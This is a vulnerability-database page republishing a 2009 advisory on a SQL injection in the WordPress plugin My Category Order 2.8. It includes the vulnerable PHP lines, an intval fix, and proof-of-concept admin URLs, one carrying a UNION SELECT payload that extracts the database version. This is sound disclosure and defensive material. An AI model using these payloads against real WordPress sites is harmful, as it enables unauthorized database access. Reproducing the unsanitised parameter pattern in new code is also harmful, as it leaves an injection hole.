Lucene search
+L

WordPress Plugin My Category Order 2.8 - SQL Injection

🗓️ 15 Jul 2009 00:00:00Reported by Manh LuatType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 120 Views

WordPress Plugin My Category Order 2.8 - SQL Injection Vulnerability in mycategoryorder.ph

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-4748
15 Jul 200900:00
circl
cve
CVE
CVE-2009-4748
26 Mar 201020:00
cve
cvelist
Cvelist
CVE-2009-4748
26 Mar 201020:00
cvelist
euvd
EUVD
EUVD-2009-4712
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-4748
26 Mar 201020:30
nvd
patchstack
Patchstack
WordPress My Category Order Plugin <= 2.8 - SQL Injection Vulnerability
15 Jul 200900:00
patchstack
prion
Prion
Sql injection
26 Mar 201020:30
prion
wpvulndb
WPVulnDB
My Category Order <= 2.8 - SQL Injection
1 Aug 201400:00
wpvulndb
###############################
# Source: WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability
# Download: http://wordpress.org/extend/plugins/my-category-order/
# No Dork
# Author: ManhLuat93 [at] hcegroup[dot]net
###############################

Errors appears only when you have admin control

Open mycategoryorder.php (Line 47-48):
if (isset($_GET['parentID']))
$parentID = $_GET['parentID'];

Fix:
if (isset($_GET['parentID']))
$parentID = intval($_GET['parentID']);


[+] Exploit [+]


http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0'&idString=3,5,4,1

MySQL Query Error:

WordPress database error:

 [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY term_order ASC' at line 1]
SELECT * FROM wp_terms t inner join wp_term_taxonomy tt on t.term_id = tt.term_id WHERE taxonomy = 'category' and parent = 0' ORDER BY term_order ASC



[+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11--&idString=3,5,4,1

[+] What do you see ?

# milw0rm.com [2009-07-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jul 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02744
120